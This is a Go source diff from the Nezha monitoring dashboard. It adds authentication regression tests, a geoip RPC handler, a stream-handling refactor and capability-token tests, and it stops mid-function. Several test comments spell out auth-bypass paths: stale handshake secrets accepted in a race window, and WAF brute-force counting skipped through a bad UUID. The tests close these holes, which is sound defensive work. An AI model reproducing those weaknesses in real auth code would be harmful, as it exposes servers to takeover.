defer setupAuthHandshakeFixture(t)() + + initiatePendingTransfer(t, 11, 100, 200) + pending, ok := singleton.ServerTransferShared.LookupPending(11) + if !ok { + t.Fatal("expected pending transfer") + } + handshakeSecret := pending.HandshakeSecret + if handshakeSecret == "" { + t.Fatal("precondition: pending transfer must carry a HandshakeSecret") + } + + cid, err := authCheckWithSecret(handshakeSecret, authHandshakeUUID) + if err != nil { + t.Fatalf("first reconnect with HandshakeSecret must promote the transfer, got %v", err) + } + if cid != 11 { + t.Fatalf("first reconnect must resolve to server 11, got %d", cid) + } + if singleton.ServerTransferShared.HasPending(11) { + t.Fatal("MarkVerified must have cleared the pending index after the handshake reconnect") + } + + if _, err := authCheckWithSecret(handshakeSecret, authHandshakeUUID); err != nil { + t.Fatalf("second reconnect with the same HandshakeSecret must still authenticate (the agent has no other credential to present until a final hand-off completes); got %v", err) + } +} + +// First successful auth with RevertHandshakeSecret proves the agent has +// applied the rollback (10s reload + applyPendingReload have committed +// the secret to disk). At that point the auth path must promote the +// secret into the long-term verifiedHandshakes map and consume the +// temporary revertDeliveries entry — otherwise the only acceptance path +// is LookupByRevertHandshakeSecret, which prunes after +// defaultRevertDeliveryRecoveryWindow and leaves the agent locked out +// ~24h later. See ServerTransferClass.MarkRevertDelivered. +func TestAuthRevertHandshakeSecretPromotesToVerifiedAndKeepsAuthenticating(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + + initiatePendingTransfer(t, 11, 100, 200) + pending, ok := singleton.ServerTransferShared.LookupPending(11) + if !ok { + t.Fatal("expected pending transfer") + } + if _, err := singleton.ServerTransferShared.Cancel(pending.ID); err != nil { + t.Fatalf("cancel transfer to register a revert delivery: %v", err) + } + revert, ok := singleton.ServerTransferShared.LookupRevertDelivery(11) + if !ok { + t.Fatal("precondition: cancel must have registered a revert delivery") + } + revertHandshake := revert.RevertHandshakeSecret + if revertHandshake == "" { + t.Fatal("precondition: revert delivery must carry a RevertHandshakeSecret") + } + + if _, err := authCheckWithSecret(revertHandshake, authHandshakeUUID); err != nil { + t.Fatalf("first auth with RevertHandshakeSecret must succeed, got %v", err) + } + + if _, ok := singleton.ServerTransferShared.LookupRevertDelivery(11); ok { + t.Fatal("first successful auth must consume the temporary revertDelivery — the credential is now promoted to the long-term map") + } + + sid, ok := singleton.ServerTransferShared.LookupServerByVerifiedHandshakeSecret(revertHandshake) + if !ok || sid != 11 { + t.Fatalf("RevertHandshakeSecret must be promoted into verifiedHandshakes; lookup got (sid=%d, ok=%v)", sid, ok) + } + + if _, err := authCheckWithSecret(revertHandshake, authHandshakeUUID); err != nil { + t.Fatalf("second auth via the promoted verifiedHandshakes path must still succeed, got %v", err) + } +} + +// HIGH security regression: if a transfer has already been Cancelled/Failed/ +// Timed out, its HandshakeSecret must NEVER authenticate. Today auth.check +// calls MarkVerified on the lookup result and treats RowsAffected==0 as +// success, so an attacker who learned the per-transfer HandshakeSecret +// (e.g. previous owner whose stream was hijacked during Pending) can +// authenticate inside the narrow race window where revertTransition has +// changed DB status but not yet deleted the in-memory pending entry, or +// after that window simply because the swallowed return is `return +// t.ServerID, nil`. +// +// Expected: when the transfer row is no longer Pending, auth must reject +// the HandshakeSecret entirely. +func TestAuthHandshakeSecretRejectedAfterTransferTerminated(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + + initiatePendingTransfer(t, 11, 100, 200) + pending, ok := singleton.ServerTransferShared.LookupPending(11) + if !ok { + t.Fatal("expected pending transfer") + } + handshakeSecret := pending.HandshakeSecret + + // Settle the DB row to Cancelled WITHOUT touching the in-memory + // pending entry. This reproduces the race window in revertTransition + // between the DB CAS and the c.mu.Lock that deletes the pending + // entry; LookupByHandshakeSecret still hits. + if err := singleton.DB.Model(&model.ServerTransfer{}). + Where("id = ?", pending.ID). + Update("status", model.ServerTransferStatusCancelled).Error; err != nil { + t.Fatalf("simulate concurrent cancel: %v", err) + } + + _, err := authCheckWithSecret(handshakeSecret, authHandshakeUUID) + if err == nil { + t.Fatal("HandshakeSecret on a terminated transfer must be rejected — auth swallowed MarkVerified RowsAffected==0 and returned success, enabling auth bypass with a stale per-transfer secret") + } +} + +// HIGH security regression: the auth tolerance window for the old owner's +// global AgentSecret must close in lockstep with MarkVerified. Holding c.mu +// across the DB CAS, the c.pending delete and the verifiedHandshakes write +// inside MarkVerified makes those three steps a single observable event for +// any auth-path lookup taking c.mu.RLock; once MarkVerified returns +// verified=true, no later authorizeAgentForUUID can still see the pending +// entry that previously admitted FromUserID. +func TestAuthOldOwnerSecretRejectedOnceTransferIsVerifiedInDB(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + + initiatePendingTransfer(t, 11, 100, 200) + pending, ok := singleton.ServerTransferShared.LookupPending(11) + if !ok { + t.Fatal("expected pending transfer") + } + + verified, _, err := singleton.ServerTransferShared.MarkVerified(11, pending.ID) + if err != nil { + t.Fatalf("MarkVerified must succeed for a fresh pending: %v", err) + } + if !verified { + t.Fatal("MarkVerified must report verified=true for a fresh pending") + } + + if _, _, err := authorizeAgentForUUID(100, authHandshakeUUID); err == nil { + t.Fatal("old owner's global AgentSecret must be rejected once MarkVerified has returned — the auth tolerance window must not outlive the verified transition") + } +} + +// FORWARD-RECOVERY (HIGH): symmetric to TestAuthHandshakeSecretRejectedAfter +// TransferTerminated. That test pokes the DB directly to simulate an +// attacker who learned the per-transfer forward HandshakeSecret outside +// of any dashboard-driven cancellation; auth must reject. This test +// exercises the OTHER scenario: a legitimate agent that already wrote the +// forward HandshakeSecret to disk via the 10s reload timer, and the +// dashboard cancels the transfer via the normal Cancel API (which goes +// through revertTransition). The agent's next reconnect presents the +// forward HandshakeSecret. Auth must authenticate it so RequestTask can +// run OnAgentReconnect and push the RevertHandshakeSecret rollback — +// otherwise the agent is permanently locked out and the operator has to +// SSH in and edit the config by hand. +// +// The distinguishing signal is whether revertTransition was the one that +// settled the row: it populates terminalForwardRecovery; a direct DB +// poke does not. +func TestAuthForwardHandshakeSecretAcceptedAfterDashboardCancel(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + + initiatePendingTransfer(t, 11, 100, 200) + pending, ok := singleton.ServerTransferShared.LookupPending(11) + if !ok { + t.Fatal("expected pending transfer") + } + forward := pending.HandshakeSecret + + if _, err := singleton.ServerTransferShared.Cancel(pending.ID); err != nil { + t.Fatalf("dashboard Cancel must succeed: %v", err) + } + + cid, err := authCheckWithSecret(forward, authHandshakeUUID) + if err != nil { + t.Fatalf("forward HandshakeSecret must authenticate after dashboard Cancel so RequestTask can deliver the rollback; got %v", err) + } + if cid != 11 { + t.Fatalf("forward HandshakeSecret must resolve to its bound server, got cid=%d", cid) + } + + if _, ok := singleton.ServerTransferShared.LookupServerByVerifiedHandshakeSecret(forward); ok { + t.Fatal("forward HandshakeSecret on a terminated transfer must NOT be promoted into verifiedHandshakes — promotion would outlive the bounded recovery window and turn a cancelled credential into a permanent one") + } +} + +// wafAgentAuthFailCount returns the recorded WAF count for the given IP + +// gRPC block identifier. Used by the bad-credential WAF tests to assert +// FirstOrCreate / UPDATE actually fired. +func wafAgentAuthFailCount(t *testing.T, ip string) uint64 { + t.Helper() + bin, err := utils.IPStringToBinary(ip) + if err != nil { + t.Fatalf("ip parse: %v", err) + } + var w model.WAF + res := singleton.DB.Where("ip = ? AND block_identifier = ?", bin, model.BlockIDgRPC).First(&w) + if res.Error != nil { + if errors.Is(res.Error, gorm.ErrRecordNotFound) { + return 0 + } + t.Fatalf("query waf: %v", res.Error) + } + return w.Count +} + +// authCheckFromIP feeds an attacker IP through the real Check entry point +// so the WAF BlockIP path observes a non-empty CtxKeyRealIP. authCheckWithSecret +// uses a bare context.Background which keeps the IP empty and short-circuits +// BlockIP(ip == ""), masking the very regression these tests want to pin. +func authCheckFromIP(secret, uuid, ip string) (uint64, error) { + ctx := metadata.NewIncomingContext(context.Background(), metadata.Pairs( + "client_secret", secret, + "client_uuid", uuid, + )) + ctx = context.WithValue(ctx, model.CtxKeyRealIP{}, ip) + return (&authHandler{}).Check(ctx) +} + +// REGRESSION: the new per-transfer handshake path moved the client_uuid +// validation in front of the global AgentSecretToUserId lookup. A bad +// secret paired with a malformed/missing UUID now short-circuits to +// "客户端 UUID 不合法" and skips the BlockIP(WAFBlockReasonTypeAgentAuthFail) +// counter the previous implementation incremented. That counter is the +// only thing throttling brute-force on agent secrets — losing it lets an +// attacker enumerate secrets indefinitely just by also corrupting the +// UUID metadata. Both the missing-secret and bad-secret cases must still +// count toward AgentAuthFail when the UUID is unusable. +func TestAuthBadSecretInvalidUUIDStillIncrementsAgentAuthFailWAF(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + const attackerIP = "203.0.113.7" + + if _, err := authCheckFromIP("definitely-not-a-real-secret", "not-a-uuid", attackerIP); err == nil { + t.Fatal("Check must reject bogus credentials") + } + + if got := wafAgentAuthFailCount(t, attackerIP); got == 0 { + t.Fatalf("bad client_secret + invalid client_uuid must still count toward WAFBlockReasonTypeAgentAuthFail; got count=%d", got) + } +} + +// Mirror of the above for the empty-UUID metadata path. uuid.ParseUUID("") +// also errors out, so the same auth-fail counting must apply — otherwise an +// attacker can just omit the metadata key entirely. +func TestAuthBadSecretEmptyUUIDStillIncrementsAgentAuthFailWAF(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + const attackerIP = "203.0.113.8" + + if _, err := authCheckFromIP("another-bad-secret", "", attackerIP); err == nil { + t.Fatal("Check must reject bogus credentials") + } + + if got := wafAgentAuthFailCount(t, attackerIP); got == 0 { + t.Fatalf("bad client_secret + empty client_uuid must still count toward WAFBlockReasonTypeAgentAuthFail; got count=%d", got) + } +} + +// FORWARD-RECOVERY: forward secret bound to server A must not authenticate +// when presented with server B's UUID. Defence against an attacker who +// learns one server's forward secret and tries to attach it to a different +// agent during the recovery window. +func TestAuthForwardHandshakeSecretRejectedForDifferentUUID(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + + initiatePendingTransfer(t, 11, 100, 200) + pending, ok := singleton.ServerTransferShared.LookupPending(11) + if !ok { + t.Fatal("expected pending transfer") + } + forward := pending.HandshakeSecret + + if _, err := singleton.ServerTransferShared.Cancel(pending.ID); err != nil { + t.Fatalf("dashboard Cancel must succeed: %v", err) + } + + const otherUUID = "22222222-2222-2222-2222-222222222222" + if _, err := authCheckWithSecret(forward, otherUUID); err == nil { + t.Fatal("forward HandshakeSecret must be rejected when paired with a different server UUID even during recovery — token is per-(server, transfer)") + } +} + +// SECURITY (P1): PushIfOnline only ever delivers the per-transfer +// HandshakeSecret to the real agent; the destination user's global +// AgentSecret is never sent on the wire and is therefore not proof of +// agent rotation. Server.UUID is visible to the destination user once +// Register flips Server.UserID, so admitting (ToUser global secret, real +// UUID) and calling MarkVerified would let the destination user clear +// the auth tolerance window for FromUser's secret (locking the real +// agent out) and flip transfer state to Verified without the agent ever +// applying the new credential. Only LookupByHandshakeSecret may promote. +func TestAuthDestinationUserGlobalSecretDoesNotVerifyPendingTransfer(t *testing.T) { + defer setupAuthHandshakeFixture(t)() + + initiatePendingTransfer(t, 11, 100, 200) + if !singleton.ServerTransferShared.HasPending(11) { + t.Fatal("precondition: pending transfer must be registered") + } + + cid, err := authCheckWithSecret("bob-global", authHandshakeUUID) + if err == nil { + t.Fatalf("destination user's global AgentSecret must not close the transfer's pending window; got cid=%d", cid) + } + + if !singleton.ServerTransferShared.HasPending(11) { + t.Fatal("pending transfer must survive a destination-user global AgentSecret reconnect; only the per-transfer HandshakeSecret may promote to Verified") + } +} diff --git a/service/rpc/geoip_rpc.go b/service/rpc/geoip_rpc.go new file mode 100644 index 00000000..4f122263 --- /dev/null +++ b/service/rpc/geoip_rpc.go @@ -0,0 +1,57 @@ +package rpc + +import ( + "context" + "fmt" + "log" + "net" + + "github.com/nezhahq/nezha/model" + geoipx "github.com/nezhahq/nezha/pkg/geoip" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/singleton" +) + +func (s *NezhaHandler) ReportGeoIP(ctx context.Context, report *pb.GeoIP) (*pb.GeoIP, error) { + clientID, err := s.Auth.Check(ctx) + if err != nil { + return nil, err + } + geoIP := model.PB2GeoIP(report) + if geoIP.IP.IPv4Addr == "" && geoIP.IP.IPv6Addr == "" { + ip, _ := ctx.Value(model.CtxKeyRealIP{}).(string) + if ip == "" { + ip, _ = ctx.Value(model.CtxKeyConnectingIP{}).(string) + } + geoIP.IP.IPv4Addr = ip + } + joinedIP := geoIP.IP.Join() + server, ok := singleton.ServerShared.Get(clientID) + if !ok || server == nil { + return nil, fmt.Errorf("server not found") + } + if server.EnableDDNS && joinedIP != "" && (server.GeoIP == nil || server.GeoIP.IP != geoIP.IP) { + if err := singleton.ServerShared.UpdateDDNS(server, &model.IP{IPv4Addr: geoIP.IP.IPv4Addr, IPv6Addr: geoIP.IP.IPv6Addr}); err != nil { + log.Printf("NEZHA>> Failed to update DDNS for server %d: %v", server.ID, err) + } + } + if server.GeoIP != nil && singleton.Conf.EnableIPChangeNotification && + ((singleton.Conf.Cover == model.ConfigCoverAll && !singleton.Conf.IgnoredIPNotificationServerIDs[clientID]) || + (singleton.Conf.Cover == model.ConfigCoverIgnoreAll && singleton.Conf.IgnoredIPNotificationServerIDs[clientID])) && + server.GeoIP.IP.Join() != "" && joinedIP != "" && server.GeoIP.IP != geoIP.IP { + singleton.NotificationShared.SendNotification(singleton.Conf.IPChangeNotificationGroupID, + fmt.Sprintf("[%s] %s, %s => %s", singleton.Localizer.T("IP Changed"), server.Name, + singleton.IPDesensitize(server.GeoIP.IP.Join()), singleton.IPDesensitize(joinedIP)), "") + } + ip := geoIP.IP.IPv4Addr + if geoIP.IP.IPv6Addr != "" && (report.GetUse6() || ip == "") { + ip = geoIP.IP.IPv6Addr + } + location, err := geoipx.Lookup(net.ParseIP(ip)) + if err != nil { + log.Printf("NEZHA>> geoip.Lookup: %v", err) + } + geoIP.CountryCode = location + server.GeoIP = &geoIP + return &pb.GeoIP{Ip: nil, CountryCode: location, DashboardBootTime: singleton.DashboardBootTime}, nil +} diff --git a/service/rpc/io_stream.go b/service/rpc/io_stream.go index 87ef0aa2..88996e7b 100644 --- a/service/rpc/io_stream.go +++ b/service/rpc/io_stream.go @@ -4,97 +4,57 @@ import ( "errors" "io" "sync" - "sync/atomic" "time" "github.com/nezhahq/nezha/service/singleton" ) +type StreamPurpose uint8 + +const ( + PurposeLegacy StreamPurpose = iota + PurposeMCPTransfer + PurposeTerminal + PurposeFileManager + PurposeNAT +) + type ioStreamContext struct { + creatorUserID uint64 + targetServerID uint64 + purpose StreamPurpose userIo io.ReadWriteCloser agentIo io.ReadWriteCloser userIoConnectCh chan struct{} agentIoConnectCh chan struct{} userIoChOnce sync.Once agentIoChOnce sync.Once + revokedCh chan struct{} + revokedOnce sync.Once + waitStartedCh chan struct{} + waitStartedOnce sync.Once + startCaptureCh chan struct{} + startCaptureOnce sync.Once } -type bp struct { - buf []byte -} - -var bufPool = sync.Pool{ - New: func() any { - return &bp{ - buf: make([]byte, 1024*1024), - } - }, -} - -func (s *NezhaHandler) CreateStream(streamId string) { - s.ioStreamMutex.Lock() - defer s.ioStreamMutex.Unlock() - - s.ioStreams[streamId] = &ioStreamContext{ - userIoConnectCh: make(chan struct{}), - agentIoConnectCh: make(chan struct{}), +func newIOStreamContext(creatorUserID, targetServerID uint64, purpose StreamPurpose) *ioStreamContext { + return &ioStreamContext{ + creatorUserID: creatorUserID, targetServerID: targetServerID, purpose: purpose, + userIoConnectCh: make(chan struct{}), agentIoConnectCh: make(chan struct{}), + revokedCh: make(chan struct{}), waitStartedCh: make(chan struct{}), startCaptureCh: make(chan struct{}), } } -func (s *NezhaHandler) GetStream(streamId string) (*ioStreamContext, error) { - s.ioStreamMutex.RLock() - defer s.ioStreamMutex.RUnlock() - - if ctx, ok := s.ioStreams[streamId]; ok { - return ctx, nil - } - - return nil, errors.New("stream not found") +func (stream *ioStreamContext) revoke() { + stream.revokedOnce.Do(func() { close(stream.revokedCh) }) } -func (s *NezhaHandler) CloseStream(streamId string) error { - s.ioStreamMutex.Lock() - defer s.ioStreamMutex.Unlock() +type bp struct{ buf []byte } - if ctx, ok := s.ioStreams[streamId]; ok { - if ctx.userIo != nil { - ctx.userIo.Close() - } - if ctx.agentIo != nil { - ctx.agentIo.Close() - } - delete(s.ioStreams, streamId) - } +var bufPool = sync.Pool{New: func() any { return &bp{buf: make([]byte, 1024*1024)} }} - return nil -} - -func (s *NezhaHandler) UserConnected(streamId string, userIo io.ReadWriteCloser) error { - stream, err := s.GetStream(streamId) - if err != nil { - return err - } - - stream.userIo = userIo - stream.userIoChOnce.Do(func() { - close(stream.userIoConnectCh) - }) - - return nil -} - -func (s *NezhaHandler) AgentConnected(streamId string, agentIo io.ReadWriteCloser) error { - stream, err := s.GetStream(streamId) - if err != nil { - return err - } - - stream.agentIo = agentIo - stream.agentIoChOnce.Do(func() { - close(stream.agentIoConnectCh) - }) - - return nil +func isValidIOStreamMagic(data []byte) bool { + return len(data) >= 4 && data[0] == 0xff && data[1] == 0x05 && data[2] == 0xff && data[3] == 0x05 } func (s *NezhaHandler) StartStream(streamId string, timeout time.Duration) error { @@ -102,64 +62,62 @@ func (s *NezhaHandler) StartStream(streamId string, timeout time.Duration) error if err != nil { return err } + return s.startStreamContext(streamId, stream, timeout) +} +func (s *NezhaHandler) startStreamContext(streamId string, stream *ioStreamContext, timeout time.Duration) error { timeoutTimer := time.NewTimer(timeout) - -LOOP: + defer timeoutTimer.Stop() + userConnected := stream.userIoConnectCh + agentConnected := stream.agentIoConnectCh for { + s.ioStreamMutex.RLock() + if current, exists := s.ioStreams[streamId]; !exists || current != stream { + s.ioStreamMutex.RUnlock() + return errors.New("stream revoked") + } + userIo, agentIo := stream.userIo, stream.agentIo + s.ioStreamMutex.RUnlock() + stream.startCaptureOnce.Do(func() { close(stream.startCaptureCh) }) + if userIo != nil { + userConnected = nil + } + if agentIo != nil { + agentConnected = nil + } + if userIo != nil && agentIo != nil { + break + } select { - case <-stream.userIoConnectCh: - if stream.agentIo != nil { - timeoutTimer.Stop() - break LOOP - } - case <-stream.agentIoConnectCh: - if stream.userIo != nil { - timeoutTimer.Stop() - break LOOP - } - case <-time.After(timeout): - break LOOP + case <-userConnected: + userConnected = nil + case <-agentConnected: + agentConnected = nil + case <-stream.revokedCh: + return errors.New("stream revoked") + case <-timeoutTimer.C: + return singleton.Localizer.ErrorT("timeout: stream endpoints not established") } - time.Sleep(time.Millisecond * 500) - } - - if stream.userIo == nil && stream.agentIo == nil { - return singleton.Localizer.ErrorT("timeout: no connection established") - } - if stream.userIo == nil { - return singleton.Localizer.ErrorT("timeout: user connection not established") } - if stream.agentIo == nil { - return singleton.Localizer.ErrorT("timeout: agent connection not established") + s.ioStreamMutex.RLock() + if current, exists := s.ioStreams[streamId]; !exists || current != stream { + s.ioStreamMutex.RUnlock() + return errors.New("stream revoked") } - - isDone := new(atomic.Bool) - endCh := make(chan struct{}) - + userIo, agentIo := stream.userIo, stream.agentIo + s.ioStreamMutex.RUnlock() + errCh := make(chan error, 2) go func() { bp := bufPool.Get().(*bp) defer bufPool.Put(bp) - _, innerErr := io.CopyBuffer(stream.userIo, stream.agentIo, bp.buf) - if innerErr != nil { - err = innerErr - } - if isDone.CompareAndSwap(false, true) { - close(endCh) - } + _, copyErr := io.CopyBuffer(userIo, agentIo, bp.buf) + errCh <- copyErr }() go func() { bp := bufPool.Get().(*bp) defer bufPool.Put(bp) - _, innerErr := io.CopyBuffer(stream.agentIo, stream.userIo, bp.buf) - if innerErr != nil { - err = innerErr - } - if isDone.CompareAndSwap(false, true) { - close(endCh) - } + _, copyErr := io.CopyBuffer(agentIo, userIo, bp.buf) + errCh <- copyErr }() - - <-endCh - return err + return <-errCh } diff --git a/service/rpc/io_stream_capability_agentcompat_test.go b/service/rpc/io_stream_capability_agentcompat_test.go new file mode 100644 index 00000000..45d01fb7 --- /dev/null +++ b/service/rpc/io_stream_capability_agentcompat_test.go @@ -0,0 +1,229 @@ +//go:build agentcompat + +package rpc + +import ( + "context" + "encoding/base64" + "errors" + "io" + "sync" + "sync/atomic" + "testing" + + "github.com/stretchr/testify/require" +) + +func capabilityOwner(patID, userID uint64) AgentCompatCapabilityOwner { + return AgentCompatCapabilityOwner{PATID: patID, UserID: userID, IsAdmin: false} +} + +func capabilityRegistration(owner AgentCompatCapabilityOwner, purpose AgentCompatCapabilityPurpose, serverID, resourceID uint64) AgentCompatCapabilityRegistration { + return AgentCompatCapabilityRegistration{ + Owner: owner, Purpose: purpose, TargetServerID: serverID, ResourceID: resourceID, ServerAccessAllowed: true, + } +} + +func capabilityAccess(capability AgentCompatIOStreamCapability, registration AgentCompatCapabilityRegistration) AgentCompatCapabilityAccess { + return AgentCompatCapabilityAccess{ + Capability: capability, Owner: registration.Owner, Purpose: registration.Purpose, + TargetServerID: registration.TargetServerID, ResourceID: registration.ResourceID, ServerAccessAllowed: true, + } +} + +func TestAgentCompatCapabilityMintUsesURLSafe256BitTokens(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(1, 2), AgentCompatCapabilityTerminal, 3, 0) + + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + + require.NoError(t, err) + raw, err := base64.RawURLEncoding.DecodeString(capability.String()) + require.NoError(t, err) + require.Len(t, raw, 32) + parsed, err := ParseAgentCompatIOStreamCapability(capability.String()) + require.NoError(t, err) + require.Equal(t, capability, parsed) + _, err = ParseAgentCompatIOStreamCapability("not-a-capability") + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) +} + +func TestAgentCompatCapabilityMintRetriesActiveAndUsedCollisions(t *testing.T) { + handler := NewNezhaHandler() + first := make([]byte, 32) + second := make([]byte, 32) + third := make([]byte, 32) + first[0], second[0], third[0] = 1, 2, 3 + var calls atomic.Int32 + handler.setAgentCompatCapabilityTokenSourceForTest(func(destination []byte) error { + switch calls.Add(1) { + case 1, 2, 4: + copy(destination, first) + return nil + case 3: + copy(destination, second) + return nil + default: + copy(destination, third) + return nil + } + }) + registration := capabilityRegistration(capabilityOwner(1, 2), AgentCompatCapabilityTerminal, 3, 0) + firstCapability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + activeCollisionCapability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + require.NotEqual(t, firstCapability, activeCollisionCapability) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(firstCapability, registration))) + + tombstoneCollisionCapability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + + require.NoError(t, err) + require.NotEqual(t, firstCapability, tombstoneCollisionCapability) + require.Equal(t, int32(5), calls.Load()) +} + +func TestAgentCompatCapabilityRegistrationRequiresServerAccessProof(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(1, 2), AgentCompatCapabilityTerminal, 3, 0) + registration.ServerAccessAllowed = false + + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) +} + +func TestAgentCompatCapabilityWaitRequiresExactOwnerAndRetainsBinding(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(10, 20), AgentCompatCapabilityTerminal, 30, 0) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + require.NoError(t, handler.CreateStreamWithPurpose("terminal-bound", 20, 30, PurposeTerminal)) + require.NoError(t, handler.BindAgentCompatIOStreamCapability(AgentCompatCapabilityBinding{ + AgentCompatCapabilityAccess: capabilityAccess(capability, registration), StreamID: "terminal-bound", + })) + + streamID, err := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(capability, registration)) + require.NoError(t, err) + require.Equal(t, "terminal-bound", streamID) + foreign := capabilityAccess(capability, registration) + foreign.Owner.PATID++ + _, err = handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), foreign) + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) +} + +type capabilityCloseEndpoint struct { + handler *NezhaHandler + streamID string + err error + closed atomic.Int32 +} + +func (endpoint *capabilityCloseEndpoint) Read([]byte) (int, error) { return 0, io.EOF } +func (endpoint *capabilityCloseEndpoint) Write(data []byte) (int, error) { return len(data), nil } +func (endpoint *capabilityCloseEndpoint) Close() error { + endpoint.closed.Add(1) + endpoint.handler.StreamOwnership(endpoint.streamID) + return endpoint.err +} + +func TestAgentCompatCapabilityCancelClosesOutsideLockAndJoinsErrors(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityFileManager, "fm-close", 41) + firstErr := errors.New("user close") + secondErr := errors.New("agent close") + first := &capabilityCloseEndpoint{handler: handler, streamID: "fm-close", err: firstErr} + second := &capabilityCloseEndpoint{handler: handler, streamID: "fm-close", err: secondErr} + require.NoError(t, handler.UserConnected("fm-close", first)) + require.NoError(t, handler.AgentConnected("fm-close", second)) + + err := handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration)) + + require.ErrorIs(t, err, firstErr) + require.ErrorIs(t, err, secondErr) + require.Equal(t, int32(1), first.closed.Load()) + require.Equal(t, int32(1), second.closed.Load()) +} + +func boundCapabilityFixture(t *testing.T, purpose AgentCompatCapabilityPurpose, streamID string, serverID uint64) (*NezhaHandler, AgentCompatCapabilityRegistration, AgentCompatIOStreamCapability) { + t.Helper() + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(11, 21), purpose, serverID, 0) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + require.NoError(t, handler.CreateStreamWithPurpose(streamID, 21, serverID, purpose.streamPurpose())) + require.NoError(t, handler.BindAgentCompatIOStreamCapability(AgentCompatCapabilityBinding{ + AgentCompatCapabilityAccess: capabilityAccess(capability, registration), StreamID: streamID, + })) + return handler, registration, capability +} + +func TestAgentCompatCapabilityCancelRacingCloseChangesGenerationOnce(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "race-close", 51) + endpoint := &capabilityCloseEndpoint{handler: handler, streamID: "race-close"} + require.NoError(t, handler.AgentConnected("race-close", endpoint)) + start := handler.SnapshotIOStreamState() + ready := make(chan struct{}) + raceCtx := agentCompatCapabilityTestContext(t) + var waitGroup sync.WaitGroup + waitGroup.Add(2) + go func() { + defer waitGroup.Done() + select { + case <-ready: + _ = handler.CloseStream("race-close") + case <-raceCtx.Done(): + } + }() + go func() { + defer waitGroup.Done() + select { + case <-ready: + _ = handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration)) + case <-raceCtx.Done(): + } + }() + close(ready) + raceDone := make(chan struct{}) + go func() { + waitGroup.Wait() + close(raceDone) + }() + awaitAgentCompatCapabilitySignal(t, raceDone, "cancel/close race did not complete") + require.NoError(t, raceCtx.Err()) + + state := handler.SnapshotIOStreamState() + require.Equal(t, start.Generation+1, state.Generation) + require.Equal(t, int32(1), endpoint.closed.Load()) +} + +func TestAgentCompatCapabilityWaitTimeoutKeepsRegistration(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(1, 2), AgentCompatCapabilityTerminal, 3, 0) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + _, err = handler.WaitAgentCompatIOStreamCapability(ctx, capabilityAccess(capability, registration)) + require.ErrorIs(t, err, context.Canceled) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) +} + +func TestAgentCompatCapabilityWaitWakesAfterUnregister(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(1, 2), AgentCompatCapabilityTerminal, 3, 0) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + result := make(chan error, 1) + started := make(chan struct{}) + handler.setAgentCompatCapabilityWaitObserverForTest(func() { close(started) }) + waitCtx := agentCompatCapabilityTestContext(t) + go func() { + _, waitErr := handler.WaitAgentCompatIOStreamCapability(waitCtx, capabilityAccess(capability, registration)) + result <- waitErr + }() + awaitAgentCompatCapabilitySignal(t, started, "wait observer did not start") + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + + require.ErrorIs(t, receiveAgentCompatCapabilityError(t, result, "unregister did not wake waiter"), ErrAgentCompatCapabilityHidden) +} diff --git a/service/rpc/io_stream_capability_bind_agentcompat.go b/service/rpc/io_stream_capability_bind_agentcompat.go new file mode 100644 index 00000000..1620a432 --- /dev/null +++ b/service/rpc/io_stream_capability_bind_agentcompat.go @@ -0,0 +1,74 @@ +//go:build agentcompat + +package rpc + +import "context" + +func (s *NezhaHandler) BindAgentCompatIOStreamCapability(binding AgentCompatCapabilityBinding) error { + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + registration, allowed := s.agentCompatRegistrationLocked(binding.AgentCompatCapabilityAccess) + if !allowed || registration.phase != agentCompatCapabilityRegistered || registration.registration.Purpose == AgentCompatCapabilityNAT { + return ErrAgentCompatCapabilityHidden + } + stream, exists := s.ioStreams[binding.StreamID] + stored := registration.registration + if !exists || binding.StreamID == "" || stream.creatorUserID != stored.Owner.UserID || + stream.targetServerID != stored.TargetServerID || stream.purpose != stored.Purpose.streamPurpose() { + return ErrAgentCompatCapabilityHidden + } + if 